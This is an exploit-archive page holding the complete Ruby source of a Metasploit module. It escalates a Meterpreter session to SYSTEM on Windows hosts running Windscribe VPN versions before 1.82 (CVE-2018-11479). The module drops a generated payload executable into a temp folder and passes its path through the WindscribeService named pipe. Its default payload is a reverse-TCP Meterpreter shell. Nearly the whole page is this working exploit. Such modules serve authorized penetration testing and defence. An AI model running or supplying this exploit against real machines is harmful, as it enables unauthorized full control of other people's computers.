Windscribe WindscribeService Named Pipe Privilege Escalation (Metasploit)

2020.02.10
Credit: bcoles
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE include Post::File include Post::Windows::Priv include Post::Windows::Services include Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Windscribe WindscribeService Named Pipe Privilege Escalation', 'Description' => %q{ The Windscribe VPN client application for Windows makes use of a Windows service `WindscribeService.exe` which exposes a named pipe `\\.\pipe\WindscribeService` allowing execution of programs with elevated privileges. Windscribe versions prior to 1.82 do not validate user-supplied program names, allowing execution of arbitrary commands as SYSTEM. This module has been tested successfully on Windscribe versions 1.80 and 1.81 on Windows 7 SP1 (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Emin Ghuliev', # Discovery and exploit 'bcoles' # Metasploit ], 'References' => [ ['CVE', '2018-11479'], ['URL', 'http://blog.emingh.com/2018/05/windscribe-vpn-privilege-escalation.html'], ['URL', 'https://pastebin.com/eLG3dpYK'] ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [['Automatic', {}]], 'DisclosureDate' => '2018-05-24', 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'DefaultTarget' => 0)) register_advanced_options [ OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)', nil]), ] end def base_dir datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s end def service_exists?(service) srv_info = service_info(service) if srv_info.nil? vprint_warning 'Unable to enumerate Windows services' return false end if srv_info && srv_info[:display].empty? return false end true end def write_named_pipe(pipe, command) kt = "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" kt << "\x00\x00\x00\x00" kt << [command.force_encoding('UTF-8').codepoints.map { |c| "%04X" % c }.join].pack('H*') kt << "\x00" * (32_005 - kt.length) print_status "Sending #{command} to #{pipe} ..." r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0, nil, 'OPEN_EXISTING', 0, nil) handle = r['return'] if handle == 0xffffffff # INVALID_HANDLE_VALUE print_error "Invalid handle. #{pipe} named pipe not found, or already opened" return false end vprint_good("Opended #{pipe}! Proceeding ...") begin w = client.railgun.kernel32.WriteFile(handle, kt, kt.length, 4, nil) if w['return'] == false return false end ensure session.railgun.kernel32.CloseHandle(handle) end true rescue false end def check service = 'WindscribeService' unless service_exists? service return CheckCode::Safe("Service '#{service}' does not exist") end CheckCode::Detected end def exploit unless check == CheckCode::Detected fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_system? fail_with Failure::BadConfig, 'Session already has SYSTEM privileges' end payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe" payload_exe = generate_payload_exe vprint_status "Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ..." write_file payload_path, payload_exe register_file_for_cleanup payload_path unless write_named_pipe("\\\\.\\pipe\\WindscribeService", payload_path) fail_with Failure::Unknown, 'Failed to write to pipe' end end end


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